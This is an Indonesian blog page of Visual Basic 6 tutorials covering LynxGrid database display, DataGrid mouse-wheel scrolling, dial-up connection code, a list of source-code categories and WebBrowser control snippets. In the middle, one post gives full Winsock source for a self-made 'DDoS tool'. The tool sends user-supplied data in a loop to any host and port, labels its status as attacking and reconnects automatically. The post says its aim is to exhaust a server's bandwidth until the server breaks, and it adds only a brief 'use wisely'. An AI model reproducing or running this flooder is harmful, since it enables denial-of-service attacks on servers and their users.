Menghubungkan LynxGrid Dengan Database Di VB6

Salah satu kontrol dalam menampilkan data di visual basic 6 yang cukup menarik digunakan adalah LynxGrid. Lynxgrid mampu menampilkan data berdasarkan kriteria tertentu yang anda tetapkan. Mendukung penggunaan checkbox,button, binding control combobox, textbox dan masih banyak lagi. Kontrol ini mendukung theme atau skin yang bisa anda customise menurut selera anda.

Salah satu hal yang paling saya sukai adalah mampu mengedit data dalam tabel yang terbuka. Akan tetapi kontrol ini masih memiliki bug. Salah satunya jika anda menempatkan kontrol ini di atas suatu kontrol yang lain, misal di picture box, maka kontrol Lynxgrid akan menampilkan data sangat lambat sekali.

Tetapi kontrol LynxGrid ini masih layak untuk anda gunakan dalam pembuatan aplikasi anda. Kontrol LynxGrid selalu di update oleh pembuatnya yaitu Morgan Haueisen. Banyak sekali fitur-fitur yang sekiranya bisa anda gunakan

Fitur LynxGrid :

• Mampu mengganti warna cell Row maupun Column
• Gradasi warna antar Row
• Sorting tabel berdasarkan Asc maupun Desc
• Gruping data berdasarkan kriteria tertentu
• Mampu menampilkan format progress bar
• Pemilihan skin yang beragam
• Formating Cell berdasarkan kriteria tertentu
• Pewarnaan Cell berdasarkan kriteria tertentu, dan masih banyak lagi yang lainnya.

Pada tips ini akan kita coba untuk menampilkan data dari database MS Access ke dalam Kontrol LynxGrid. Ada beberapa prosedur yang bisa anda jalankan. Silakan anda kembangkan sendiri agar mencapai hasil yang maksimal menurut selera anda

Buka Visual Basic 6 anda, dan buatlah sebuah Module. Masukkan coding berikut

'Batas coding module--------------------------------------------------------------------------

Public CN As New ADODB.Connection
Public lRow As Long
Public Icol As Long

Public Sub KONEKSI()
On Error GoTo ErrorConnection
Set CN = New ADODB.Connection
CN.CursorLocation = adUseClient
CN.Provider = "Microsoft.Jet.OLEDB.4.0"
CN.Open App.Path & "/data.mdb"

ErrorConnection:
If Err.Number = 3709 Then
    MsgBox "Gagal berkoneksi dengan database !!!", vbExclamation, "Koneksi Gagal"
    End
End If

'Akhir Batas coding module------------------------------------------------------------------------

Tujuan pembuatan module ini agar anda senantiasa leluasa mengubah database, bersadarkan path atau kondisi database tertentu.

Selanjutnya buat sebuah form, dan masukkan kontrol LynxGrid. Ceri nama kontrol tersebut sebagai 'LXDATA'. Lalu masukkan coding berikut :

Private Sub Form_Load()
PANGGIL
Set RECPINJAM = New ADODB.Recordset
RECPINJAM.Open "Select * From PEMINJAMAN WHERE STATUS='" & "Belum" & "' AND ID='" & TXTID & "'", CN, adOpenDynamic, adLockOptimistic

LXDATA.ClearAll
With LXDATA
.AddColumn "Kode Barang", 1800, lgAlignLeftCenter
.AddColumn "Nama Barang", 3200, lgAlignLeftCenter
.AddColumn "Merk", 2000, lgAlignLeftCenter
.AddColumn "Jumlah", 800, lgAlignCenterCenter, lgNumeric
.AddColumn "Kondisi", 2000, lgAlignLeftCenter
.AddColumn "Diterima", 1000, lgAlignCenterCenter, lgBoolean
.Redraw = True
End With

With RECPINJAM
For lngI = 1 To RECPINJAM.RecordCount
            LXDATA.AddItem .Fields("Kode_Barang") & vbTab & _
                           .Fields("Nama_Barang") & vbTab & _
                           .Fields("Merk") & vbTab & _
                           .Fields("Jumlah") & vbTab & _
                           .Fields("Kondisi") & vbTab & _
                           .Fields("Angka") & vbTab  & _
                           .Fields("Status")

            .MoveNext
         Next lngI
         
End With
End If

End Sub

Jika anda benar maka data akan tertampil seperti dalam gambar ini.

Itulah cara termudah dalam menampilkan data dari database. Silakan anda kembangkan sendiri.

Untuk mendownload kontrol LynxGrid silakan KLIK DISINI

»»  READMORE...

Scroll Mouse Datagrid Di VB6

Datagrid adalah kontrol yang umum digunakan dalam menampung isi semua database.Kecepatannya dalam memasukkan data dari database tergolong cepat. Dikarenakan minimnya fitur dalam Datagrid di VB6. Salah satunya anda tidak bisa memakai scroll mouse tengah dalam memilih data dalam tabel. Tentunya hal ini akan membuat kurang nyaman dalam berinteraksi dengan datagrid tersebut. Dengan sedikit coding ternyata kita bisa mengaktifkan scroll mouse tengah dengan mengaktifkan fungsi API Windows.

Coding ini bisa anda rubah sendiri, seperti menyesuaikan kecepatan scroll serta tingkat sensitifitas. OK langsung saja. Buat sebuah project pada Visual Basic 6 anda.

Buat sebuah module, dan masukkan coding berikut :

'Batas module---------------------------------------------------
Public Const MK_RBUTTON = &H2
Public Const MK_MBUTTON = &H10
Public Const MK_SHIFT = &H4
Public Const GWL_WNDPROC = -4
Public Const WM_MOUSEWHEEL = &H20A
Public LocalHwnd As Long
Public LocalPrevWndProc As Long
Public MyControl As Object
Public Declare Function CallWindowProc Lib "user32.dll" Alias _
"CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, _
ByVal Msg As Long, _
ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SetWindowLong Lib "user32.dll" Alias _
"SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong _
As Long) As Long

Public Function WindowProc(ByVal Lwnd As Long, ByVal Lmsg As Long, ByVal _
wParam As Long, ByVal lParam As Long) As Long
Dim MouseKeys As Long
Dim Rotation As Long
Dim Xpos As Long
Dim Ypos As Long
If Lmsg = WM_MOUSEWHEEL Then
MouseKeys = wParam And 65535
Rotation = wParam / 65536
Xpos = lParam And 65535
Ypos = lParam / 65536
If Rotation = -120 Then
MyProperty.Scroll 0, 1      'atur tingkat sensifitas disini
Else
MyProperty.Scroll 0, -1   'atur tingkat sensifitas disini
End If
End If
WindowProc = CallWindowProc(LocalPrevWndProc, Lwnd, Lmsg, wParam, lParam)
End Function

Public Sub WheelHook(PassedControl As Object)
On Error Resume Next
Set MyControl = PassedControl
LocalHwnd = PassedControl.hwnd
LocalPrevWndProc = SetWindowLong(LocalHwnd, GWL_WNDPROC, AddressOf WindowProc)
End Sub

Sub WheelUnHook()
Dim WorkFlag As Long
On Error Resume Next
WorkFlag = SetWindowLong(LocalHwnd, GWL_WNDPROC, LocalPrevWndProc)
Set MyControl = Nothing
End Sub
'Akhir batas module ------------------------------------------------------

Lalu pada event Load form bersangkutan buat coding berikut

Private Sub Form_Load()

Set MyProperty = DGDATA 'nama datagrid yang inigin di scroll dengan mouse
WheelHook DGDATA

End Sub

Nah...sekarang coba anda scroll datagrid memakai scroll mouse tengah. Mudah bukan..!!

»»  READMORE...

Dial Internet Menggunakan Dial Up Networking Pada VB6

DUN ( Dial Up Networking ) adalah sebuah fasilitas di dalam windows yang berfungsi untuk mengkoneksi ke jaringan internet. Nah didalam program Visual Basic 6 kita bisa membuat sendiri fasilitas ini, tanpa mencampuri system windows yang ada.

Saat kita memakai DUN ( Dial Up Networking ) kita akan memanggil dan menjalankan file windows. Proses inilah yang akan kita jalankan agar program mau bekerja menjalankan proses koneksi dan diskonek dari file tersebut

Untuk bisa menjalankan proses koneksi dan diskonek internet menggunakan DUN silakan ikuti panduan berikut :

1. Buka visual basic 6 sobat. Buat sebuah project baru.

2. Tambahkan 2 buah Command Button pada project.

3. Buat sebuah modul. Lalu masukkan coding berikut pada modul tersebut

Option Explicit
'________________________________________________CONSTANTS UNTUK KONEKSI YG ADA__
Const ERROR_SUCCESS = 0&
Const APINULL = 0&
Const HKEY_LOCAL_MACHINE = &H80000002
Dim ReturnCode As Long
'________________________________________________CONSTANTS UNTUK KONEKSI BARU_______
Const RAS95_MaxEntryName = 256
Const RAS_MaxPhoneNumber = 128
Const RAS_MaxCallbackNumber = RAS_MaxPhoneNumber
Const UNLEN = 256
Const PWLEN = 256
Const DNLEN = 12
'________________________________________________CONSTANTS UNTUK PUTUS KONEKSI________
Const RAS_MAXDEVICETYPE = 16
Const RAS_MAXDEVICENAME = 128
Const RAS_RASCONNSIZE = 412
Const RAS_MAXENTRYNAME = 256
'________________________________________________JENIS KONEKSI___________
Private Type RASDIALPARAMS
dwSize As Long ' 1052
szEntryName(RAS95_MaxEntryName) As Byte
szPhoneNumber(RAS_MaxPhoneNumber) As Byte
szCallbackNumber(RAS_MaxCallbackNumber) As Byte
szUserName(UNLEN) As Byte
szPassword(PWLEN) As Byte
szDomain(DNLEN) As Byte
End Type
Private Type RASENTRYNAME95

dwSize As Long
szEntryName(RAS95_MaxEntryName) As Byte
End Type
'________________________________________________JENIS PUTUS KONEKSI____________
Private Type RasEntryName
dwSize As Long
szEntryName(RAS_MAXENTRYNAME) As Byte
End Type
Private Type RasConn
dwSize As Long
hRasConn As Long
szEntryName(RAS_MAXENTRYNAME) As Byte
szDeviceType(RAS_MAXDEVICETYPE) As Byte
szDeviceName(RAS_MAXDEVICENAME) As Byte
End Type
'________________________________________________API's UNTUK KONEKSI YANG ADA______
Private Declare Function RegCloseKey Lib "advapi32.dll" _
(ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, _
lpType As Long, lpData As Any, lpcbData As Long) As Long
'________________________________________________API's UNTUK KONEKSI BARU___________
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _
(pDst As Any, ByVal pSrc As String, ByVal ByteLen As Long)
Private Declare Sub ZeroMemory Lib "kernel32.dll" Alias "RtlZeroMemory" _
(Destination As Any, ByVal Length As Long)
Private Declare Function RasDial Lib "rasapi32.dll" Alias "RasDialA" _
(ByVal lprasdialextensions As Long, ByVal lpcstr As String, _
ByRef lprasdialparamsa As RASDIALPARAMS, ByVal dword As Long, lpvoid As Any, _
ByRef lphrasconn As Long) As Long
Private Declare Function RasEnumEntries Lib "rasapi32.dll" Alias "RasEnumEntriesA" _
(ByVal reserved As String, ByVal lpszPhonebook As String, lprasentryname As Any, _
lpcb As Long, lpcEntries As Long) As Long
Private Declare Function RasGetEntryDialParams Lib "rasapi32.dll" Alias "RasGetEntryDialParamsA" _
(ByVal lpcstr As String, ByRef lprasdialparamsa As RASDIALPARAMS, _
ByRef lpbool As Long) As Long
'________________________________________________API's UNTUK PUTUS KONEKSI____________
Private Declare Function RasEnumConnections Lib "rasapi32.dll" Alias "RasEnumConnectionsA" _
(lpRasConn As Any, lpcb As Long, lpcConnections As Long) As Long
Private Declare Function RasHangUp Lib "rasapi32.dll" Alias "RasHangUpA" _
(ByVal hRasConn As Long) As Long
'________________________________________________FUNCTIONS: KONEKSI AKTIF_____
Public Function ActiveConnection() As Boolean
Dim hKey As Long
Dim lpSubKey As String
Dim phkResult As Long
Dim lpValueName As String
Dim lpReserved As Long
Dim lpType As Long
Dim lpData As Long
Dim lpcbData As Long
ActiveConnection = False
lpSubKey = "System\CurrentControlSet\Services\RemoteAccess"
ReturnCode = RegOpenKey(HKEY_LOCAL_MACHINE, lpSubKey, _
phkResult)
If ReturnCode = ERROR_SUCCESS Then
hKey = phkResult
lpValueName = "Remote Connection"
lpReserved = APINULL
lpType = APINULL
lpData = APINULL
lpcbData = APINULL
ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved, lpType, ByVal lpData, lpcbData)
lpcbData = Len(lpData)
ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved, lpType, lpData, lpcbData)
If ReturnCode = ERROR_SUCCESS Then
If lpData = 0 Then
ActiveConnection = False
Else
ActiveConnection = True
End If
End If
RegCloseKey (hKey)
End If
End Function


Public Function Dial(ByVal Connection As String, ByVal UserName As String, ByVal Password As String) As Boolean
Dim rp As RASDIALPARAMS, h As Long, resp As Long
rp.dwSize = Len(rp) + 6
ChangeBytes Connection, rp.szEntryName
ChangeBytes "", rp.szPhoneNumber
ChangeBytes "*", rp.szCallbackNumber
ChangeBytes UserName, rp.szUserName
ChangeBytes Password, rp.szPassword
ChangeBytes "*", rp.szDomain
'Dial
resp = RasDial(ByVal 0, ByVal 0, rp, 0, ByVal 0, h)
Dial = (resp = 0)
End Function

Private Function ChangeToStringUni(Bytes() As Byte) As String

Dim temp As String
temp = StrConv(Bytes, vbUnicode)
ChangeToStringUni = Left(temp, InStr(temp, Chr(0)) - 1)
End Function

Private Function ChangeBytes(ByVal str As String, Bytes() As Byte) As Boolean

Dim lenBs As Long
Dim lenStr As Long
lenBs = UBound(Bytes) - LBound(Bytes)
lenStr = LenB(StrConv(str, vbFromUnicode))
If lenBs > lenStr Then
CopyMemory Bytes(0), str, lenStr
ZeroMemory Bytes(lenStr), lenBs - lenStr
ElseIf lenBs = lenStr Then
CopyMemory Bytes(0), str, lenStr
Else
CopyMemory Bytes(0), str, lenBs
ChangeBytes = True
End If
End Function

Public Sub ListConnectionNames(Lst As ListBox)
Dim s As Long, l As Long, ln As Long, a$
ReDim r(255) As RASENTRYNAME95

r(0).dwSize = 264
s = 256 * r(0).dwSize
l = RasEnumEntries(vbNullString, vbNullString, r(0), s, ln)
For l = 0 To ln - 1
a$ = StrConv(r(l).szEntryName(), vbUnicode)
Lst.AddItem Left$(a$, InStr(a$, Chr$(0)) - 1)
Next
If Lst.ListCount > 0 Then
Lst.ListIndex = 0
End If
End Sub

Public Sub DisplayConnectionInfo(ConName As String, Txt1 As TextBox, Txt2 As TextBox)
Dim rdp As RASDIALPARAMS, t As Long
rdp.dwSize = Len(rdp) + 6
ChangeBytes ConName, rdp.szEntryName

t = RasGetEntryDialParams(ConName, rdp, 0)
If t = 0 Then
Txt1 = ChangeToStringUni(rdp.szUserName)
Txt2 = ChangeToStringUni(rdp.szPassword)
End If
End Sub

Sub HangUp()
Dim i As Long
Dim lpRasConn(255) As RasConn
Dim lpcb As Long
Dim lpcConnections As Long
Dim hRasConn As Long
Dim gstrIspName As String

lpRasConn(0).dwSize = RAS_RASCONNSIZE
lpcb = RAS_MAXENTRYNAME * lpRasConn(0).dwSize
lpcConnections = 0
ReturnCode = RasEnumConnections(lpRasConn(0), lpcb, lpcConnections)

If ReturnCode = ERROR_SUCCESS Then
For i = 0 To lpcConnections - 1
hRasConn = lpRasConn(i).hRasConn
ReturnCode = RasHangUp(ByVal hRasConn)
Next i
End If
End Sub

4. Nah untuk melakukan koneksi internet, pada salah satu Command Button tinggal masukkan coding berikut

Private Sub Command1_Click()

Dial

End Sub

5. Untuk memutuskan koneksi internet tinggal masukkan coding berikut pada Command Button lainnya

Private Sub Command2_Click()

Hangup

End Sub

6. Simpan project dan silakan dicoba

»»  READMORE...

37 Kategori Source Code Dan Script Visual Basic 6 Untuk Pemula

Pada kesempatan kali ini saya ingin membagi informasi dan source code visual basic 6 untuk para pemula yang ingin belajar pemrograman visual basic 6 (vb6). Source code ini berisi kumpulan - kumpulan script yang biasa diterapkan.

Source code ini saya bagi dalam  37 kategori yang kesemuanya sudah saya kelompokkan, sehingga memudahlan untuk memilah script yang akan digunakan

37 Kategori ini meliputi :

KATEGORI 1 ACTIVEX DATA OBJECTS (ADO)
KATEGORI 2 DATABASE ADO CONTROL
KATEGORI 3 DATABASE DATA CODE
KATEGORI 4 DATABASE DATA CONTROL
KATEGORI 5 CETAK LAPORAN
KATEGORI 6 NOTEPAD SEDERHANA
KATEGORI 7 DATAGRID
KATEGORI 8 MEMBUAT SENDIRI FILE DLL & FILE OCX
KATEGORI 9 ARRAY
KATEGORI 10 CHECKBOX - OPTIONBUTTON
KATEGORI 11 COMBOBOX
KATEGORI 12 COMMAND BUTTON
KATEGORI 13 DATABASE
KATEGORI 14 DATE & TIME
KATEGORI 15 FILE & DIREKTORI
KATEGORI 16 FUNGSI BUATAN
KATEGORI 17 FORM
KATEGORI 18 INI File
KATEGORI 19 KEYBOARD
KATEGORI 20 KONVERSI
KATEGORI 21 LABEL
KATEGORI 22 LISTBOX
KATEGORI 23 LISTVIEW
KATEGORI 24 MASKEDBOX
KATEGORI 25 MATEMATIKA
KATEGORI 26 MOUSE
KATEGORI 27 PICTUREBOX
KATEGORI 28 PRINTER
KATEGORI 29 REGISTRY
KATEGORI 30 RICHTEXTBOX
KATEGORI 31 SCROLLBAR
KATEGORI 32 STATUSBAR
KATEGORI 33 STRING
KATEGORI 34 TEXTBOX
KATEGORI 35 TRANSFER DATA
KATEGORI 36 WINDOWS
KATEGORI 37 LAIN-LAIN

Untuk mencobanya sendiri silakan DOWNLOAD DISINI

»»  READMORE...

Membuat Sendiri DDoS Tool Dengan Visual Basic 6

Saat ini banyak bertebaran DDoS Tool yang bisa kita jumpai di dunia maya ini. DDoS ( Distributed Denial of Service ) adalah sebuah tipe serangan dari hacker yang sangat mematikan. Prinsip kerja dari DDoS adalah kita akan mengirimkan sejumlah perintah berulang ulang dalam waktu yang relatif cepat ke server target. Tujuan dari DDoS adalah dengan menghabiskan bandwith dari server target. Sehingga nantinya server akan mengalami kerusakan.

Untuk keterangan selanjutnya tentang DDoS silakan sobat googling saja. Dalam Visual Basic 6 kita bisa memanfaatkan kontrol winsock untuk membuat sendiri DDoS Tool yang sangat powerfull. Winsock adalah sebuah kontrol yang mampu masuk ke jaringan dengan melalui protokol yang sudah diatur. Untuk memulainya silakan ikuti langkah berikut :

1. Buka Visual Basic 6 sobat. Buat project baru, masukkan componen Microsoft Winsock Control

2. Masukkan coding berikut

Dim FILENAME As String, listItem As String

Private TransferRate As Single
Private TransferRate2 As Single
Private Xstart As Long
Private Ystart As Long
Private m_objIpHelper As CIpHelper

'Deklarasikan fungsi API untuk mengeksekusi suatu 'Hyperlink
Private Declare Function ShellExecute _
Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd _
As Long, ByVal lpOperation As String, ByVal lpFile _
As String, ByVal lpParameters As String, ByVal _
lpDirectory As String, ByVal nShowCmd As Long) As Long

Const SW_SHOWNORMAL = 1  'Konstanta untuk menampilkan 'jendela normal

Private Sub CMDMULAI_Click()
TXTURL.Text = Replace(TXTURL.Text, "http://", "")
Sock.Close
Sock.Connect TXTURL, TXTPORT
Timer1.Enabled = True
SIMPAN_PESAN
On Error Resume Next
Timer1.Interval = TXTWAKTU.Text
End Sub

Private Sub CMDSTOP_Click()
Sock.Close
Timer1.Enabled = False
lblStatus.Caption = "Putus"
lblStatus.ForeColor = &HFFFFFF
LBLWARN.Caption = "Menunggu perintah"
Timer2.Enabled = False
End Sub

Private Sub Form_Load()
Timer1.Interval = TXTWAKTU.Text
LOAD_PESAN
'Fungsi penggunaan badwith internet
Set m_objIpHelper = New CIpHelper
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFFFF&
End Sub

Private Sub Form_Unload(Cancel As Integer)
Sock.Close
End
End Sub

Private Sub LBLSITUS_Click()
Dim situs As Long
  'Tampilkan program default untuk membuka situs ke
  'alamat lblSitus
  situs = ShellExecute(0, vbNullString, _
          LBLSITUS, "", "", vbNormalFocus)
  LBLSITUS.ForeColor = &H8000& 'Setelah diklik, berubah
                               'warna
End Sub

Private Sub LBLSITUS_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFF&
LBLSITUS.MousePointer = 2
End Sub

Private Sub MNUUP_Click()
FRMUP.Show
End Sub

Private Sub SocK_Close()
 lblStatus.Caption = "Putus"
End Sub

Private Sub SocK_Connect()
lblStatus.Caption = "Tersambung"
End Sub

Private Sub SocK_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Sock.Close
lblStatus.Caption = "Soket error"
End Sub

Private Sub Timer1_Timer()
Dim DATA As String
DATA = TXTDATA.Text
If Sock.State = sckConnected Then
        Do
        On Error GoTo REMUK
        Sock.SendData DATA
      
        lblStatus = "Menyerang"
        lblStatus.ForeColor = &HFF00&
        LBLDATA.Caption = Sock.SocketHandle
        DoEvents
        lblSent.Caption = lblSent.Caption + 1
        Loop
REMUK:
        LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
        Timer2.Enabled = True

Else
       
        CMDSTOP_Click
        Timer2.Enabled = True
        LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
End If
End Sub

Private Sub Timer2_Timer()
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
If Timer2.Interval = 2000 Then
CMDMULAI_Click
Timer2.Enabled = False
LBLWARN.Caption = "Asyik ... terkoneksi lagi ... dech!!"
End If
End Sub

Private Sub tmrPoll_Timer()
tmrPoll.Enabled = False
  On Error GoTo ErrH
  Dim objInterface        As CInterface
  Static lngBytesRecv     As Long
  Static lngBytesSent     As Long
  Dim lIn As Long, lOut As Long
 
  Set objInterface = m_objIpHelper.Interfaces(1)
  lIn = m_objIpHelper.BytesReceived - lngBytesRecv - 3296
  lOut = m_objIpHelper.BytesSent - lngBytesSent - 3296
  If lIn < 0 Then lIn = 0
  If lOut < 0 Then lOut = 0
 
  LBLDOWNLOAD.Caption = "DL: " & GetTransferRate(lIn) & "/sec"
  LBLUPLOAD.Caption = "UL: " & GetTransferRate(lOut) & "/sec"
  picGraph.ScaleMode = 3
  DrawUsage picGraph, lIn, lOut
  lngBytesRecv = m_objIpHelper.BytesReceived
  lngBytesSent = m_objIpHelper.BytesSent
  DoEvents
  tmrPoll.Enabled = True
Exit Sub
ErrH:
  tmrPoll.Enabled = True
  Debug.Print Err.Description
End Sub

Function GetTransferRate(pDiff As Long) As String
  Dim d As Double
 
   d = pDiff / 1024
  If d < 1024 Then
    GetTransferRate = Trim(Format(d, "#,##0.00")) & " Kb"
    Exit Function
  End If
 
  ' Mbytes
  d = pDiff / 1024
  GetTransferRate = Trim(Format(d, "#,##0.00")) & " Mb"
End Function

Private Sub TXTPORT_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
     And KeyAscii <= Asc("9") & Chr(13) _
     Or KeyAscii = vbKeyBack _
     Or KeyAscii = vbKeyDelete _
     Or KeyAscii = vbKeySpace) Then
        Beep
        KeyAscii = 0
   End If
End Sub

Private Sub TXTWAKTU_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
     And KeyAscii <= Asc("9") & Chr(13) _
     Or KeyAscii = vbKeyBack _
     Or KeyAscii = vbKeyDelete _
     Or KeyAscii = vbKeySpace) Then
        Beep
        KeyAscii = 0
   End If
End Sub

Sub LOAD_PESAN()
FILENAME = App.Path & "/PESAN.txt"
TXTDATA.Text = ""

On Error Resume Next
Open FILENAME For Input As #1
    Do While Not EOF(1)
        Input #1 & vbNewLine, listItem
        'If Not (listItem = "") Then
            TXTDATA.Text = listItem
        'End If
    Loop
  
Close #1

End Sub

Sub SIMPAN_PESAN()
Open App.Path & "/PESAN.txt" For Output As #1
Print #1, TXTDATA.Text
Close
End Sub
 

3. Simpan dan jalankan project sobat.

Hati - hati dalam menggunakan tool ini. Gunakan secara bijak

Source Code DOWNDLOAD

Password : http://dot-blogspot76.blogspot.com

»»  READMORE...

Tehnik Dasar Penggunaan Web Browser Dalam VB6

Web Browser didalam Visual Basic 6 berperan untuk berselancar ke dunia maya. Dengan menggunakan Web Browser kita bisa membuat sendiri sebuah browser yang cukup powerfull. Web Browser adalah basic control yang memakai engine Internet Explorer. Engine Internet Explorer banyak dipakai oleeh browser - browser terkemuka seperti Chrome, Opera maupun Safari.

Taukah anda, bahwa banyak sekali penggunaan script yang masih tersembunyi yang dimiliki oleh control Web Browser. Script ini bisa membuat Web Browser yang kita buat makin powerfull dan tentunya terlihat keren dan profesional.

Untuk bisa menggunakan control Web Browser sobat harus menambahkan terlebih dahulu Componen Microsoft Internet Conrols. Berikut ini adalah script yang umum digunakan pada control Web Browser

Menuju Ke URL Target 

WebBrowser1.Navigate "http://dot-blogspot76.blogspot.com"

Membuka Popup Windows Baru

Private Sub WebBrowser1_NewWindow2(ppDisp As Object, Cancel As Boolean)
Dim frm As Form1
Set frm = New Form1
Set ppDisp = frm.WebBrowser1.Object
frm.Show
End Sub 

Mencari Kata Dalam Suatu Halaman

Private Sub Command1_Click()
Dim strfindword As String
strfindword = InputBox("What are you looking for?", "Find", "") ' what word to find?
If WebPageContains(strfindword) = True Then 'check if the word is in page
MsgBox "The webpage contains the text" 'string is in page
Else
MsgBox "The webpage doesn't contains the text" 'string is not in page
End If
End Sub

Private Function WebPageContains(ByVal s As String) As Boolean
Dim i As Long, EHTML
For i = 1 To WebBrowser1.Document.All.length
Set EHTML = _
WebBrowser1.Document.All.Item(i)
If Not (EHTML Is Nothing) Then
If InStr(1, EHTML.innerHTML, _
s, vbTextCompare) > 0 Then
WebPageContains = True
Exit Function
End If
End If
Next i
End Function

Private Sub Form_Load()
WebBrowser1.Navigate2 "http://dot-blogspot76.blogspot.com"
End Sub 

Fungsi Dasar Web Browser

Private Sub Command1_Click(Index As Integer)
On Error Resume Next

Select Case Index
Case 0 'Go Back Button
WebBrowser1.GoBack 'Fungsi untuk kembali ke halaman sebelumnya
Case 1 'Go Forward Button
WebBrowser1.GoForward 'Fungsi untuk maju ke halaman selanjutnya
Case 2 'Stop Button
WebBrowser1.Stop 'Berhenti browsing
Case 3 'Refresh Button
WebBrowser1.Refresh 'Refresh halaman
Case 4 'Go Home Button
WebBrowser1.GoHome 'Fungsi ke halaman awal
Case 5 'Search Button
WebBrowser1.GoSearch 'Fungsi pencarian
End Select
End Sub 

Fungsi Lanjutan Web Browser

Private Sub Command1_Click() 'Tombol Print
WebBrowser1.ExecWB OLECMDID_PRINT, OLECMDEXECOPT_DODEFAULT 'Menampilkan Print Window
End Sub

Private Sub Command2_Click() 'Tombol Print Preview
WebBrowser1.ExecWB OLECMDID_PRINTPREVIEW, OLECMDEXECOPT_DODEFAULT 'Menampilkan Print Preview Window
End Sub

Private Sub Command3_Click() 'Tombol Page Setup
WebBrowser1.ExecWB OLECMDID_PAGESETUP, OLECMDEXECOPT_DODEFAULT 'Menampilkan Page Setup Window
End Sub

Private Sub Command4_Click() 'Tombol Page Properties
WebBrowser1.ExecWB OLECMDID_PROPERTIES, OLECMDEXECOPT_DODEFAULT 'Menampilkan Page Properties Window
End Sub

Mengganti Ukuran Font

Private Sub Command1_Click() 'Tombol terkecil
On Error Resume Next
WebBrowser1.ExecWB OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER, CLng(0), vbNull
End Sub

Private Sub Command2_Click() 'Tombol kecil
On Error Resume Next
WebBrowser1.ExecWB OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER, CLng(1), vbNull
End Sub

Private Sub Command3_Click() 'Tombol sedang
On Error Resume Next
WebBrowser1.ExecWB OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER, CLng(2), vbNull
End Sub

Private Sub Command4_Click() 'Tombol besar
On Error Resume Next
WebBrowser1.ExecWB OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER, CLng(3), vbNull
End Sub

Private Sub Command5_Click() 'Tombol terbesar
On Error Resume Next
WebBrowser1.ExecWB OLECMDID_ZOOM, OLECMDEXECOPT_DONTPROMPTUSER, CLng(4), vbNull
End Sub

Disable Klik Kanan Pada Web Browser

Option Explicit
Dim CustomWB As WBCustomizer 'Deceler the CustomWB

Private Sub Form_Load()
Set CustomWB = New WBCustomizer
With CustomWB
.EnableContextMenus = False 'Disable The Menu
.EnableAllAccelerators = True
Set .WebBrowser = WebBrowser1
End With
WebBrowser1.Navigate "http://3hsoftcom.blogspot.com"
CustomWB.EnableContextMenus = False
End Sub

Mengambil Semua Link Di Halaman

Option Explicit
Private Sub Form_Load()
WebBrowser1.Navigate "http://dot-blogspot76.blogspot.com"
End Sub

Private Sub WebBrowser1_DownloadComplete()
'tambahkan reference "Microsoft HTML Object Library"
Dim HTMLdoc As HTMLDocument
Dim HTMLlinks As HTMLAnchorElement
Dim STRtxt As String
' Daftar link.
On Error Resume Next
Set HTMLdoc = WebBrowser1.Document
For Each HTMLlinks In HTMLdoc.links
STRtxt = STRtxt & HTMLlinks.href & vbCrLf
Next HTMLlinks
Text1.Text = STRtxt
End Sub

Menyimpan Halaman

Option Explicit
Private Sub Command1_Click()
WebBrowser1.ExecWB OLECMDID_SAVEAS, OLECMDEXECOPT_DODEFAULT
End Sub

Private Sub Form_Load()
WebBrowser1.Navigate "http://dot-blogspot76.blogspot.com"
End Sub

Membuka Halaman

Private Sub Command2_Click()
WebBrowser1.ExecWB OLECMDID_OPEN, OLECMDEXECOPT_PROMPTUSER
End Sub 

jika menggunakan Common Dialog

Option Explicit
Private Sub Command1_Click()
On Error Resume Next
With CommonDialog1
.DialogTitle = "Buka File"
.Filter = "Web page (*.htm;*.html) | *.htm;*.html|" & _
"Gambar yang disupport formats|*.gif;*.tif;*.pcd;*.jpg;*.wmf;" & _
"*.tga;*.jpeg;*.ras;*.png;*.eps;*.bmp;*.pcx|" & _
"Text formats (*.txt;*.doc)|*.txt;*.doc|" & _
"All files (*.*)|*.*|"
.ShowOpen
.Flags = 5
WebBrowser1.Navigate2 .FileName
End With
End Sub

Private Sub Form_Load()
WebBrowser1.Navigate "http://3hsoftcom.blogspot.com"
End Sub

Auto Submit

Private Sub Command1_Click()
Dim strwebsite As String
Dim stremail As String
strwebsite = "http://3hsoftcom.blogspot.com"
stremail = "myemail@host.com"
WebBrowser1.Document.addurl.URL.Value = strwebsite
WebBrowser1.Document.addurl.Email.Value = stremail
WebBrowser1.Document.addurl.Submit
End Sub

Private Sub Form_Load()
WebBrowser1.Navigate "http://www.scrubtheweb.com/addurl.html"
End Sub

Penggunaan Progress Bar Dalam Web Browser

Private Sub Form_Load()
WebBrowser1.Navigate "http://dot-blogspot76.blogspot.com"
ProgressBar1.Appearance = ccFlat
ProgressBar1.Scrolling = ccScrollingSmooth
End Sub

Private Sub WebBrowser1_ProgressChange(ByVal Progress As Long, ByVal ProgressMax As Long)
